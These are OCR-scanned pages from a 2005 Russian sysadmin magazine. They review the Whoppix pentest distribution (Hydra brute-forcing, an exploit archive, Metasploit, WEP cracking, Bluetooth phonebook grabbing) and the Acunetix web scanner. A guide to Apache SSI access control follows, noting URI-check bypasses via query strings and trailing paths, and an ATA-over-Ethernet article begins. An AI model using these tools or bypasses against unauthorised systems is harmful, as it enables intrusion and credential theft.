Klinkstatus проверит сайты на валидность по введенным адресам – полезная в некоторых случаях утилита, особенно для работающих в хостинговых компаниях. Скрипт list-vris.py собирает все линки и e-mail-адреса с выбранной веб-страницы. Это скорее похоже на орудие спамера, нежели администратора, но да бог с ним. Очень полезной может стать программа xwhois, которая по введенному веб-адресу или IP выведет географическую информацию, сообщит имя владельца домена или адрес и телефон провайдера, проверяемого сервисом whois. Программа работает с большим числом серверов, за счет чего информация никогда не бывает устаревшей или неполной. Есть несколько полезных утилит, увеличивающих функциональность стандартной программы traceroute, предназначенной для исследования сети при помощи протокола ICMP. Например, mtr – программа, проводящая диагностику сети посредством утилит ping, traceroute и им подобным, позволяющая выявить практически любую неисправность. Нужна при администрировании большего количества компьютеров. Ни для кого не секрет, что поисковую машину google все чаще используют для поиска уязвимостей на вебсайтах. В whoppix есть две утилиты, автоматизирующее и упрощающие процесс google-hacking, но описывать их подробно смысла нет – разобраться с ними труда не составит. Есть полезные программы для проверки занятости логинов на mail-серверах (и всетаки к созданию дистрибутива приложили руку спамеры), скрипты для на-
безопасность
Рисунок 3. Лучший сканер портов и самый мощный переборщик паролей – Nmap и Hydra
стройки DNS-сервера, и не понятно как затесавшийся в этот список Leo-editor, редактор для веб-программистов. В hoppix присутствует LDAP Browser, похожее на Internet Explorer приложение, служащее для перемещения по службе каталогов (протокол LDAP). Отдельно хочется отметить набор утилит для работы с Samba – здесь и мощный переборщик паролей, позволяющий выявить слабые пользовательские аккаунты, и клиент для SMBсетей, и приложение, позволяющее получить информацию об удаленном SMB-сервере.
Обнаружение уязвимостей Естественно, отдельное внимание уделено сканерам безопасности. Cheops позволяет определить ОС на большинстве удаленных машин, а также зачастую находит разные интересные элементы (сетевые принтеры, роутеры) и выводит массу других данных. Cheops – дополненный вариант «network neighborhood», создающий образ сервера с описанием подробной о нем информации. Whoppix содержит разработку unicornscan, являющейся расширенным сканером портов. Главное достоинство – скорость, unicorscan выдает 30 000 пакетов в секунду на обычной сетевой карте. Сканер может эмулировать IP-стеки различных операционных систем, что позволяет обманывать даже хорошо настроенные брандмауэры. Также интересен amap (не путать с nmap, о котором позже). Хотя ничего кардинально нового в нем нет, просто обычный сканер портов, качественно выполняющий свою работу. Для по-
№9, сентябрь 2005
Рисунок 4. Nessus. Опции сканирования
иска ошибок в веб-сценариях и cgiскриптах служит nikto – утилита, обнаруживающая более 2500 уязвимостей. Ну и, конечно же, классика жанра – nmap и nessus. Думаю, nmap в представлении не нуждается. Лучший сканер портов, с возможностью определения ОС на удаленном ПК, продвинутые возможности, поддержка невидимого сканирования и полуоткрытого SYNсканирования. NMAP – незаменимая программа для каждого системного администратора (см. рис. 3). Лучшей утилитой для оценки безопасности сети является nessus (см. рис. 4). Работает на технологии клиент/сервер, обладает огромным количеством плагинов, дает рекомендации решения проблем. У nessus постоянно обновляемая база уязвимостей, графический интерфейс, а единственным недостатком является довольно медленная скорость работы, но не думаю, что это очень существенно. Программы для перебора паролей нужны администратору для выявления слабых пользовательских аккаунтов и для дальнейшего смены пароля на более надежный, во избежание взлома аккаунта хакерами (среди последних «брутфорс» популярен куда больше, нежели среди системных администраторов). В Whoppix можно обнаружить переборщики под FTP, Samba, VNC, MySQL, и массу других сервисов. Но хотелось бы отдельно выделить Xhydra, безусловно, лучшую утилиту подобного рода, не имеющую альтернативы ни в Windows, ни в UNIX. Hydra поддерживает все протоколы – начиная FTP и POP3, заканчивая ssh и даже ICQ! Также программа отличается
фантастической скоростью работы – несколько миллионов перебираемых паролей в минуту. Имеет как удобный графический интерфейс, так и консольную версию. Разработчики Whoppix не обошли своим вниманием и утилиты для перехвата пакетов в сети – «снифферы». Одна из самых мощных утилит подобного рода – Ethereal, анализирующая пакеты на любых сетевых устройствах и расшифровывающая около 500 сетевых протоколов. Еще один популярный «сниффер» – ettercap. Захватывает подключения между двумя хостами и работает с SSH и другими защищенными протоколами. Отмечу tcpdump, разрабатываемую с 1992 года программу, которая фиксирует каждый проходящий через сетевую плату пакет.
Эксплойты Чего-чего, а этого во Whoppix хоть отбавляй. Директория /pentest/exploits занимает 110 Мб! Причем большая часть эксплойтов находится в исходных кодах, для экономии жестко лимитированного места. Здесь архивы от securityfocus, packetstorm, milw0rm. Естественно, искать во всем этом многообразии нужный вам эксплойт нереально, для этого существует скрипт find-sploit.pl. Вводите в консоли его и сервис, под который ищете эксплойт, например: # ./Þnd-sploit Windows XP
и скрипт выведет пути к нужным вам программам (см.рис. 5).В Whoppix входит легендарный Metasploit Framework (см. рис. 6), – среда разработки, поз-
65
безопасность
Рисунок 5. Поиск эксплойта под веб-форум PhpBB
Рисунок 6. Средство разработки эксплойтов – Metasploi Framework
Рисунок 7. Программы для аудита CISCO-систем
Рисунок 8. Работа с беспроводными сетями
воляющая создать любому опытному программисту эксплойт за предельно короткие сроки. Для работающих на технологиях от CISCO systems предусмотрен набор утилит cisco-tool, содержащий в себе несколько небольших приложений, способных выявить бреши в защите сети (см. рис. 7). Желающие сохранить анонимность в глобальной паутине могут воспользоваться списком proxy-серверов, но полагаю, что многие из них уже не работают и лучше использовать более свежие списки, благо найти их в Интернете труда не составит. Whoppix поможет проверить на прочность и базы данных – Microsoft SQL, MySQL, Oracle.
Wi-Fi и Bluetooth Не забыты и беспроводные сети – настроить Wi-Fi поможет KwiFimanager, а для тестирования сети на защищенность ничего лучше kismet не найти
66
(см. рис. 8). Kismet обнаружит Wi-Fiсети и выдаст массу информации о них: имя, используемое оборудование, определит, включено ли шифрование данных, позволит подключиться к LAN. В современных сетях используется шифрование данных, реализованное протоколом WEP. Надежность алгоритма стоит проверить утилитами airodump и airocrack, созданными специально для взлома систем шифрования сетей Wi-Fi. Присутствует софт под Bluetooth – помимо многочисленных программ для настройки есть утилиты для сканирования на наличие рядом с компьютером активных BT-устройств, перехватчики пакетов и даже программа, позволяющая взять всю информацию с телефонной книги мобильного телефона. Правда, для меня остается тайной, как все это поможет системному администратору – локальных сетей, работающих на bluetooth я не видел, и не думаю, что когда-либо увижу.
Пожалуй, на этом описание программ, связанных с ИТ-безопасностью, закончим. Описать весь софт, входящий в арсенал Whoppix, объем статьи не позволяет, да это и не нужно – со всем ПО разберется любой грамотный администратор. Вообще, Whoppix оставил неоднозначное впечатление. С одной стороны, грамотный дистрибутив, действительно способный помочь ИТ-специалистам, с другой – некоторые неприятные моменты наподобие отсутствия нормальных шрифтов и медленная работа. И еще очень настораживает обилие откровенно хакерских утилит, предназначенных для неправомерного взлома, а не настройки собственных сетей. Автор статьи настоятельно рекомендует использовать Whoppix только по его прямому назначению. Лица, использующие информацию данной статьи в противозаконных целях, могут быть привлечены к ответственности.
безопасность
ОПРЕДЕЛЯЕМ УЯЗВИМОСТИ ВЕБ-СЕРВИСА С ПОМОЩЬЮ ACUNETIX WEB VULNERABILITY SCANNER
СЕРГЕЙ ЯРЕМЧУК Сегодня большая часть информации обрабатывается веб-приложениями и выдается пользователю с помощью динамически генерируемых страниц. Номера кредитных карточек, персональные данные клиентов, важная корпоративная информация, ко всему этому можно получить доступ 7 дней в неделю, 24 часа в сутки. Естественно, и злоумышленики пытаются этим воспользоваться.
Н
есмотря на то что уязвимости могут быть в принципе в любом сервисе, запущенном в системе, статистика показывает, что в последнее время существенно увеличилось количество нападений на прикладном уровне. По различным подсчетам приблизительно 60-75% атак направлены на веб-cервисы, количество таких атак, как SQL Injection, cross-site-scripting, никогда не уменьшается. Несмотря на то что об этих технологиях и методах защиты от них написано немало, взломы все равно продолжаются. Вероятно, потому, что веб-сервер ориентирован на публичный доступ, поэтому его не спрячешь за межсетевым экраном. Страдают не только проекты, созданные программистами-одиночками, но и, казалось бы, вылизанный код крупных проектов также содержит ошибки. Отследить все моменты довольно тяжело, да и подчас работа сдается в авральном порядке в короткие сроки. Ситуацию усложняет то, что протокол HTTP может использовать множество способов кодирования и инкапсуляции информации. Поэтому контроль за вводимой информацией и проверка ее корректности по-прежнему являются ключевыми факторами при обеспечении безопасности всех веб-приложений.
68
Вручную проверить большой объем кода, чтобы выявить все возможные значения всех элементов данных – задача сложная и трудоемкая, требующая больших знаний в различных областях. По этой причине все чаще приходится прибегать к специализированным сканерам безопасности, работающим на прикладном уровне. Одним из продуктов, позволяющим протестировать веб-сайт на наличие слабых мест, является Acunetix Web Vulnerability Scanner.
Основные возможности Acunetix WVS При проверке ресурса Acunetix WVS сначала изучает весь сайт, следуя за всеми ссылками, включая файл robots.txt, выводит общую структуру и информацию о каждом файле, версию сервера и программного обеспечения. Для уменьшения трафика можно выбрать режим ручного сканирования (Get list URL only), когда выводятся только ссылки на страницы, а исследователь сам выбирает необходимое направление. Следующим шагом происходит автоматическая проверка всех вводимых данных. При обнаружении уязвимостей можно щелчком мышки получить подробную инфор-
безопасность мацию об уязвимом месте. Предупреждения разделены на четыре категории в зависимости от опасности: Informational, Low, Medium и High. Сканирование больших ресурсов может забрать много времени, поэтому некоторые тесты можно отключать, правда, если вычетко осознаете, что делаете. Кроме того, можно задать расширения файлов, ссылки на которые не будут отслеживаться. Для удобства можно создать несколько профилей сканирования и сканировать веб-сайты с различными настройками. В зависимости от версии сканера можно задать DNSимя проверяемого ресурса, IP-адрес либо диапазон адресов. Если адресов для сканирования много, то удобнее использовать предварительно составленный список, который затем передать программе. Сканируются в том числе и виртуальные узлы, в независимости от типа веб-сервера и используемой операционной системы. Acunetix WVS в автоматическом режиме способен обнаруживать многие уязвимые места, которые могут привести к атакам (внедрение кодов PHP и ASP, SQL и CRLF-внедрение, SSI и межсайтовый скриптинг, выполнение кода, включение файла и др.). Поддерживаются все основные веб-технологии ASP, ASP.NET, PHP и CGI. Обнаруживаются места, позволяющие просмотреть исходный код. Сканер обнаруживает файлы и каталоги, которые могут содержать чувствительную информацию и каталоги со слабыми разрешениями, в которых можно редактировать, удалять и создавать файлы. Определяет наличие опасных методов HTTP (PUT, TRACE, DELETE). Кроме того, он позволяет заменять стандартные баннеры, выдаваемые сервером. Встроенный редактор HTTP/HTTPS (HTTP editor) позволяет создавать запросы к серверу, для того чтобы затем, проанализировав ответ, самому оценить уязвимость сервиса к новым видам атак. Для декодирования POST-запросов в распоряжение исследователя дается соответствующий декодер (Base 64 в plain text, URL в plain и наоборот). Новые атаки можно создавать при помощи Vulnerability Editor. Сниффер HTTP позволяет регистрировать, прерывать и модифицировать весь HTTP/HTTPS-трафик. Для удобства можно подключать фильтры (traps) или задавать регулярные выражения, которые будут отслеживать только определенные события. Одним из слабых мест в любой защите является использование слабых паролей. Тест аутентификации позволяет обнаружить такие места, используя атаку по словарю. При этом в случае получения 401 ответа от сервера программа переходит к следующему слову. Если сервер использует нестандартный ответ (что можно проследить при помощи сниффера), в отдельном поле можно указать его номер. Учитывая, что подобную методику используют и другие программы, предназначенные для подбора пароля, веб-мастерам следует в случае неудачного ввода пароля просто возвращать исходную форму без дополнительных комментариев либо перебрасывать пользователя на другую страницу (можно и динамически генерируемую). Такой подход затруднит перебор и по крайней мере отвадит новичков, использующих чужой инструментарий. По окончанию сканирования выдается отчет, в котором указаны не только уязвимые места, но и короткие рекомен-
№9, сентябрь 2005
Acunetix WVS позволяет сравнить результаты сканирования
дации по их устранению, и ссылку на ресурсы с подробным описанием уязвимости. Кроме того, результат может быть сохранен в базе данных (поддерживается MS SQL Server от 7.0 и MS Access) для последующего просмотра и сопоставления с последующим сканированием при помощи Compare results node (рис.). Обнаруживая таким образом все изменения и уязвимые места, появившиеся за это время. Работает на Windows 2000/XP/2003, для установки потребуется 17 Мб свободного пространства.
Лицензия Acunetix W VS дос т упен в дву х верс иях enterprise и consultant. Первая имеется в различных вариантах и может быть ограничена по количеству сканируемых сайтов, времени использования и типам компьютеров, на которых может устанавливаться Acunetix WVS. Кроме того, версия enterprise оставляет записи в файлах журналов веб-серверов о произведенном сканировании. Ориентирована в первую очередь на администраторов, которые должны контролировать безопасность своего сервера. Вторая не имеет ограничений по количеству сканируемых серверов и ориентирована на специалистов по безопасности. Цена колеблется от 395 до 2995 у.е. Оценочная версия, которую можно свободно скачать, не позволяет сохранять результат сканирования и ограничена только адресом http:// test.acunetix.com. Напоследок хочется отметить, что Acunetix WVS обладает удобным и понятным интерфейсом, помогающим в работе, легок в установке, настройке и использовании. Буквально через несколько минут после начала установки можно получить готовый результат. К плюсам также можно отнести частичную локализацию выводимых сообщений и хорошую документацию.
Ссылки: 1. Страница проекта Acunetix WVS – http://www.acunetix. com/wvs. 2. Open Source (GPL) web server scanner Nikto – http://www. cirt.net/code/nikto.shtml. 3. Webserver Security Scanner AriRang – http://www.monkey. org/~pilot/arirang. 4. Цикл статей «Тестирование веб-приложений на проникновение» – http://www.bugtraq.ru/library/security.
69
web
АККУРАТНАЯ НАСТРОЙКА SSI
АЛЕКСЕЙ МИЧУРИН Документация и описания SSI столь же многочисленны, сколь широко применение этого механизма. И тем удивительнее то, как мало внимания уделяется оптимизации SSI и при написании документации, и при использовании SSI на практике.
С
егодня мы обсудим три аспекта настройки механизма SSI. Во-первых, SSI часто используется для включения внешних файлов в состав SHTML-документа. Эти включаемые файлы, естественно, не являются полноценными, законченными HTML-документами и не предназначены для просмотра посетителями. Как запретить доступ к этим файлам? Во-вторых, включаемые файлы могут быть стати-
70
ческими, а могут, в свою очередь, содержать SSI-инструкции. Как регламентировать обработку этих файлов, запретив SSIинтерпретатору обрабатывать заведомо статические документы? И в-третьих, как настроить механизм кэширования SHTML-документов? Известно, что по умолчанию SHTML-документы не кэшируются, но зачастую они не так уж динамичны, чтобы полностью отказаться от кэширования.
web Все поставленные задачи мы будем решать средствами сервера Apache, ориентируясь на версию 1.3, которая не торопится сдавать свои позиции. Однако все предлагаемые рецепты будут работать и на Apache 2.0. На существенных отличиях между «старым» и «новым» Apache мы будем останавливаться особо. Сервер Apache, как известно, работает на множестве платформ. Большинство рецептов, приведённых в этой статье, столь же универсальны. Исключения будут отмечены.
<!--#include virtual="head.sthml" --> <p>Содержимое страницы</p> </body> </html>
А во вставляемом документе проанализируем, установлен ли флаг: <!-- файл шапки head.shtml --> <!--#if expr="$SSI _ FLAG" --> <html> <head> <title>Название</title> </head> <body> <h1>Название</h1> <hr> <--#else --> <html> <head><title>ERROR 999</title></head> <body><h1>Документ не доступен</h1></body> </html> <!--#endif -->
Регламентируем доcтуп Судя по названию (Server-Side Includes), основным предназначением SSI является включение файлов. Неудивительно, что наиболее часто разработчики используют SSI-директиву include. Например, можно разместить код шапки страницы, общий для всех страниц, в отдельном файле: <!-- файл шапки head.shtml --> <html> <head> <title>Название</title> </head> <body> <h1>Название</h1> <hr>
А потом подключать содержимое этого файла ко всем документам: <!--#include virtual="head.sthml" --> <p>Содержимое страницы</p> </body> </html>
Это действительно значительно упрощает и разработку, и особенно поддержку. Ведь чтобы изменить дизайн заголовка на всех страницах, теперь достаточно отредактировать всего один файл. Но возникает вопрос: как запретить пользователю просматривать SSI-«кирпичики», такие как head.ssi, отдельно от результирующего документа? Обычно, когда необходимо надёжно скрыть какие-то файлы от посетителя, их просто размещают за пределами части файловой системы, доступной для сервера. Это идеальное решение, но оно не применимо для нашей задачи, так как SSI позволяет включать только файлы, потенциально доступные посетителю. Иначе SSI представлял бы немалую угрозу безопасности. Можно предложить множество решений, которые по сути будут являться лишь различными комбинациями двух «полярных» приёмов. Давайте рассмотрим эти два «полярных» решения.
Ограничение доступа средствами SSI Проблему можно решить, используя только средства SSI. Для этого воспользуемся тем, что переменные окружения основного документа доступны и вставляемому документу. Давайте создадим в основном документе переменнуюфлажок: <!--#set var="SSI _ FLAG" value="YES" -->
№9, сентябрь 2005
Теперь, если клиент случайно или нарочно запросит напрямую документ head.shtml, то процессор SSI не обнаружит переменную окружения SSI_FLAG, сработает ветка else и посетитель получит сообщение о загадочной ошибке 999. Если же документ head.shtml используется для включения, то он обнаружит флаг, предварительно установленный нами. Такой подход может быть оправдан, если у вас нет никакой возможности влиять на настройки сервера. Но, как вы видите, у него есть несколько недостатков. Во-первых, это усложнение кода, причём и включающего документа, и включаемого. Во-вторых, теперь, даже если включаемый документ содержит только статическую информацию (как в нашем случае), мы всё равно обязаны обработать его SSI-интерпретатором. Естественно, это увеличивает нагрузку на сервер.
Ограничение доступа средствами сервера Если у вас есть некоторые полномочия по конфигурированию сервера, то можно обойтись гораздо меньшей кровью. Во-первых, вернёмся к прежней, простой версии шапки, но переименуем файл, скажем, в head.inc: <!-- файл шапки head.inc --> <html> <head> <title>Название</title> </head> <body> <h1>Название</h1> <hr>
ки:
Во включаемом файле тоже изменим имя файла-шап<!--#include virtual="head.inc" --> <p>Содержимое страницы</p> </body> </html>
А теперь настроим сервер так, чтобы он не показывал посетителю файлы с расширением .inc. Для определённости мы будем рассматривать настройки применительно к файлу локальной конфигурации
71
web .htaccess. Естественно, все упоминаемые директивы могут быть использованы и в файлах глобальных настроек, таких как httpd.conf. Нам понадобится всего две директивы: SetEnvIf Request _ URI "\.inc$" ssi _ part Deny from env=ssi _ part
! SetEnvIf – принадлежит к группе FileInfo. Она позволя-
ет устанавливать переменные окружения, руководствуясь некоторыми условиями. Как видите, мы тестируем запрашиваемый URI на предмет его совпадения с регулярным выражением \.inc$. То есть мы проверяем, заканчивается ли имя запрашиваемого документа символами .inc. Если это так, то сервер установит переменную ssi_part. Мы не указываем явно значения, по умолчанию сервер присвоит ей строку «1». ! Deny – принадлежит к группе Limit. Она запретит доступ к документу, если установлена переменная ssi_part. Напомню, что для правильной работы этих настроек вам может понадобиться директива Order Allow,Deny, описание которой выходит за рамки этой статьи. Если у вас нет опыта использования директив Order, Allow и Deny, обратитесь к документации на Apache. Переменную ssi_part можно использовать в обработчике ошибки 403. Именно эта ошибка будет возникать при срабатывании директивы Deny. Как видите, мы вернули документам прежний, предельно простой вид и решили поставленную задачу по ограничению доступа. Можно поступить ещё проще. Создать отдельную директорию для SSI-«кирпичиков» и разместить в ней файл .htaccess следующего содержания: SetEnv ssi _ part Deny from env=ssi _ part
Теперь все файлы, находящиеся в этой директории, будут недоступны, так сказать, безусловно – независимо от расширения файла и прочего. Такой подход оправдан, если вы оперируете с большим количеством SSI-компонентов. Тогда действительно удобно обособить их в отдельной директории. Если же таких компонентов один-два, то, возможно, и не стоит «городить огород». Выбор за вами.
Промежуточные решения На базе двух предложенных решений можно составить множество промежуточных подходов. Скажем, если по правилам хостинга изменять настройки группы Limit запрещено (то есть директива Deny недоступна), но вы имеете право использовать директиву SetEnvIf (она, напомню, принадлежит к группе FileInfo), то устанавливать флаг можно средствами сервера, а проверять его значение – средствами SSI. Это позволит упростить код включающего документа. Средствами SSI можно проверять и адрес документа, но здесь надо быть осторожным. Дело в том, что переменная REQUEST_URI содержит и строку запроса. То есть если вы проверяете, заканчивается ли REQUEST_URI подстрокой .inc, то злоумышленник может обмануть вашу провер-
72
ку, запросив ресурс head.inc?index.sthml. Кроме того, возможны недоразумения при передаче строки запроса. Например, такие: index.sthml?var=head.inc. Пользователь запросил обычный STHML-документ, но REQUEST_URI всётаки заканчивается на .inc, и в доступе будет отказано. Этого недостатка лишена переменная DOCUMENT_URI; используйте её. Однако даже использование DOCUMENT_URI не избавляет от проблем с trailing-путями, которые являются головной болью обоих подходов (и, естественно, любых комбинаций этих подходов). Давайте рассмотрим этот наиболее сложный момент на примере второго подхода – ограничение доступа средствами сервера.
Trailing-пути, <Files> и <FilesMatch> Обработка Request_URI не справляется с trailing-путями. Например, к файлу head.inc можно обратиться, как head. inc/index.shtml. Именно эта строка окажется в переменной Request_URI и в переменной DOCUMENT_URI. При этом наша проверка не сработает, а документ head.inc будет выдан клиенту. Своеобразное решение этой проблемы предлагает Apache версии 2.0. Дело в том, что по умолчанию Apache 2.0 теперь не обслуживает trailing-пути и переменную PATH_ INFO для SSI-документов. 1.3-образное поведение можно вернуть с помощью специальной директивы AcceptPathInfo. Для надёжного решения в Apapche 1.3 так и хочется использовать секцию <Files> или <FilesMatch>: <FilesMatch "\.(inc|ssi)$"> Deny from all </FilesMatch>
На этот раз мы проверяем именно имя файла, и, казалось бы, теперь мы точно заблокировали просмотр файлов с расширениями .inc и .ssi. Но наша блокировка оказывается слишком жёсткой. Мы запретили доступ к этим файлам и для SSI-интерпретатора. Теперь он тоже не сможет получить их. Чтобы застраховаться от trailing-путей, можно добавить ещё одну проверку: SetEnvIf Request _ URI "\.inc/" ssi _ part
Правда, при этом мы получили неприятный побочный эффект – запретили доступ ко всем файлам, расположенным в директориях с расширениями .inc. Думаю, однако, что это не большая потеря. Аналогичным образом можно поступить и анализируя переменную DOCUMENT_URI средствами SSI, если вы используете некий комбинированный поход.
Регламентируем обработку Давайте рассмотрим более реалистичный пример использования SSI. Пусть ко всем страницам будет подключаться общий заголовок и общее завершение. Причём заголовок будет не совсем статичный: <!-- файл шапки head.ssi --> <html> <head>
web <title><!--#echo var="page _ name" --></title> </head> <body> <h1><!--#echo var="page _ name" --></h1> <hr>
Завершение будет статичным: <!-- файл завершения tail.inc --> <hr> </body> </html>
Подключающие документы будут иметь вид: <!--#set var="page _ name" value="название" --> <!--#include virtual="head.ssi" --> <p>Содержимое страницы</p> <!--#include virtual="tail.inc" -->
Как видите, документ head.ssi должен быть обработан SSI-интерпретатором, но документ tail.inc полностью статичен и в такой обработке не нуждается. Как сэкономить ресурсы сервера и производить обработку только там, где это необходимо? Мы не случайно дали включаемым файлам разные расширения. Теперь ответ прост: надо включить механизм SSI для файлов с расширением .ssi, и только для них. Для этого используем следующие конфигурационные директивы: AddHandler server-parsed .ssi AddType text/html .ssi
Первая – включает SSI-интерпретатор для .ssi-файлов. Вторая – ассоциирует их с MIME-типом text/html; это чисто косметическая мера, SSI-интерпретатор не обращает внимания на MIME-тип включаемой информации; эту директиву можно и опустить. Конечно, мы предполагаем, что SSI-интерпретация разрешена директивой Options: Options +Includes
то изменяя его атрибуты. Но есть у директивы XBitHack и большой минус – её невозможно использовать, если файловая система не допускает атрибут x. То есть под Windows эта директива абсолютно бесполезна.
Регламентируем кэширование По понятным причинам сервер не выдаёт для SSI-документов HTTP-заголовки Last-Modified и ETag, что практически полностью исключает возможность их кэширования. Это не всегда полезно, например, если информация обновляется раз в неделю, то кэширование на час-два совсем не помешало бы. К счастью, сервер может выдавать информацию о том, до какого времени данный документ сохранит свою актуальность. Передаётся она в HTTP-заголовке Expires. Управлять ею можно при помощи трёх директив: ExpiresActive, ExpiresByType и ExpiresDefault. Директива ExpiresActive допускает два значения аргумента: on или off. Она разрешает или запрещает генерирование заголовка Expires. Обратите внимание: даже если заголовок Expires разрешён, он не будет генерироваться, если он не определён для документа данного MIMEтипа. Обратное также верно: если заголовок определён, но его генерация не разрешена, то, естественно, тоже не будет генерироваться. Директива ExpiresByType описывает, как именно должно вычисляться время актуальности документа данного MIME-типа. Самый простой синтаксис таков: ExpiresByType MIME-тип <A/M>секунды
Буква A означает, что заданное количество секунд следует прибавить к текущему времени. Буква M – к дате создания/модификации файла. То есть, чтобы файлы типа text/html сохранялись в кэше в течение часа, директива должна выглядеть так: ExpiresByType text/html A3600
Следует также добавить, что такой вариант подключения SSI справедлив для Apache 1.3. В Apache 2.0 указанные директивы будут работать точно так же, потому что разработчики позаботились об обратной совместимости. Однако на самом деле механизм SSI в Apache 2.0 реализован принципиально иначе (в виде фильтра) и «правильно» подключается иначе. В этой статье я не буду касаться специфики Apache 2.0, все приведённые примеры будут работать одинаково на обоих версиях сервера, но я бы советовал пользователям второй версии хотя бы бегло просмотреть документацию – различий между версиями гораздо больше, чем может показаться. Теперь файлы с расширением .ssi будут обрабатываться, а файлы .inc будут вставляться «как есть». Кстати, можно было бы и для них прописать MIME-тип. Если переименовать все файлы затруднительно, то можно воспользоваться директивой XBitHack on. Она, как вы, наверно, знаете, предписывает SSI-интерпретатору обрабатывать файлы с установленным битом исполняемости (бит x). Это очень удобно, так как позволяет включать и выключать SSI-интерпретацию файла, не меняя его имени, а прос-
№9, сентябрь 2005
Время может быть задано и в более «читабельной» форме, например: ExpiresByType text/html "access plus 1 hours"
Если такая форма записи представляется вам более удобной, обратитесь за подробным описанием к документации на Apache. Никаких дополнительных преимуществ эта форма записи не даёт. Директива ExpiresDefault описывает, как рассчитывать время для документов, типы которых не были описаны явно с помощью ExpiresByType.
Предостережения Стоит сделать два предостережения. Во-первых, ExpiresByType – очень мощное средство. Не забывайте, что большинство CGI-сценариев выдают тип документа text/html. Используя её, следует чётко понимать, что вы описываете кэширование для любого рода информации определённого MIME-типа. Представляете недоуме-
73
web ние пользователей чата, если его страницы будут кэшироваться на полчасика? «Привязаться» к конкретному расширению файла можно с помощью всё тех же блоков <Files> и <FilesMatch>. Во-вторых, не злоупотребляйте директивой ExpiresDefault. Помните, что её действие распространяется только на файлы, которые не были описаны директивой ExpiresByType. Может показаться, что достаточно разместить в .htaccess директиву: ExpiresDefault A3600
и она обеспечит часовое кэширование и для HTML-документов, и для различных картинок, и для zip-, и для mp3файлов, и для всего остального. Это действительно так, если ранее не применялась ни одна директива ExpiresByType. Вы уверены, что администратор сервера не написал гденибудь в недрах httpd.conf что-то вроде этого? ExpiresByType image/gif "access plus 1 weeks" ExpiresByType image/jpeg "access plus 1 weeks" ExpiresByType image/png "access plus 1 weeks"
Если это так, то ваша директива ExpiresDefault не окажет никакого влияния на файлы перечисленных типов, ведь для них правила уже оговорены. Поэтому старайтесь явно описывать каждый MIME-тип.
Итого Давайте подведём некоторые итоги и просуммируем сказанное. Удачной мне представляется следующая конфигурация: 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15:
Options +Includes AddHandler server-parsed .shtml AddType text/html .shtml AddHandler server-parsed .lshtml AddType text/html .lshtml AddHandler server-parsed .ssi SetEnvIf Request _ URI "\.inc$" ssi _ part SetEnvIf Request _ URI "\.ssi$" ssi _ part SetEnvIf Request _ URI "\.inc/" ssi _ part SetEnvIf Request _ URI "\.ssi/" ssi _ part Deny from env=ssi _ part <Files "*.lshtml"> ExpiresActive on ExpiresByType text/html A3600 </Files>
Для удобства я пронумеровал строки, конечно, в .htaccess этой нумерации быть не должно. В первой строке мы включаем SSI-интерпретатор. Очень может быть, что эта мера излишняя. В большинстве случаев эта директива присутствует в глобальных настройках сервера. В строках 2-5 мы включаем SSI-обработку для файлов .shtml и .lshtml и назначаем им MIME-тип, соответственно. На этот раз указание MIME-типа является необходимой мерой, ведь эти файлы будут доступны посетителям сайта. В строке 6 включаем SSI-обработку для .ssi-файлов. MIME-тип для них мы не оговариваем – эти файлы будут не доступны для клиентов. В строках 7-11 мы осуществляем всевозможные проверки и запрещаем непосредственный доступ к .ssi- и .incфайлам.
74
Последние четыре строки включают заголовок Expires для .lsthml-файлов. Таким образом в статье мы оговорили четыре типа файлов: ! .shtml – подлежат SSI-обработке и просмотру – это обычные SHTML-файлы; ! .lshtml – отличаются от обычных только тем, что кэшируются на час; ! .ssi – подлежат обработке, но не просмотру – это динамические SSI-«кирпичики»; ! .inc – не подлежат ни обработке, ни просмотру – это статические SSI-«кирпичики». Не забывайте, что можно отказаться от многих проверок, разместив файлы в разных директориях. В директории с обычными SHTML-файлами помещаем .htaccess следующего содержания: Options +Includes AddHandler server-parsed .shtml AddType text/html .shtml
В директории с «долгоиграющими» SHTML-документами: Options +Includes AddHandler server-parsed .shtml AddType text/html .shtml ExpiresActive on ExpiresByType text/html A3600
Мы, как видите, отказались от экзотического расширения .lshtml в пользу классического .shtml. И создавать блок <Files> нам не пришлось. В директории с SSI-«кирпичиками», требующими дополнительной обработки, помещаем .htaccess со следующими директивами: Options +Includes AddHandler server-parsed .shtml AddType text/html .shtml SetEnv ssi _ part Deny from env=ssi _ part
Я и здесь отказался от расширения .ssi. В этой же директории можно разместить и статические SSI-компоненты, сообщив им любое расширение, кроме .shtml (я бы предложил классическое .html или вовсе без расширения). Опять же если вы активно используете аппарат SSI и управляете большим количеством файлов, то создание отдельных директорий может быть весьма кстати. Если же этих файлов не много, то проще написать один большой .htsaccess, положить его в корень сервера и на этом закончить с настройками. Наконец, опытные администраторы серверов могут включить настройки, подобные приведённым здесь, в секции <Directory>, <DirectoryMatch>, <Files>, <FilesMatch>, <Location> или <LocationMatch>, разместить их в файлах глобальных настроек и сообщить тем самым необходимые настройки множеству виртуальных серверов на массовых хостингах. Или по крайней мере избавиться от нескольких файлов .htaccess, собрав настройки для разных директорий в одном месте.
сети
ПРОТОКОЛЫ СЕТЕЙ ХРАНЕНИЯ ДАННЫХ ЧАСТЬ I – ATA OVER ETHERNET (AOE)
АНТОН БОРИСОВ Задача современных систем обработки информации – надежное хранение данных. Сегодня мы поговорим о SAN (Storage Area Networks), а если быть точнее, то о протоколах, которые обеспечивают их надежность и безопасность обрабатываемых данных.
В
крупных компаниях SAN соединяет многочисленные сервера к централизованному пулу дисков хранения. По сравнению с администрированием сотни серверов, где каждый из них имеет собственное дисковое хранилище, сети SAN упрощают эксплуатацию и обслуживание. Однако есть недостаток в использовании SAN – каждое устройство (дисковый массив) «принадлежит» серверу, который инициировал соединение. В отличие от SAN этого недостатка нет у NAS (Network Attached Storage), где доступ от многих серверов к одному файлу не блокируется и информация от такого взаимодействия не теряется. Впрочем, превратить SAN в NAS просто – следует использовать клас-
76
терные файловые системы – GFS (Global File System) [2], OCFS2 (Oracle Cluster File System) [3] и аналогичные. На каких технологиях строятся современные SAN-сети? Широкоизвестным видом является FiberChannel (оптический канал передачи данных). Название FiberChannel не должно вас пугать – этот тип соединения может быть реализован и на основе витой пары (см. Wikipedia [1]). Типичная сеть состоит из нескольких оптических коммутаторов, которые соединены между собой и посредством HBA (Host Bus Adapter) подключены к дискам. Передача данных основана на протоколе SCSI. Не стоит говорить, что это самое дорогое решение.
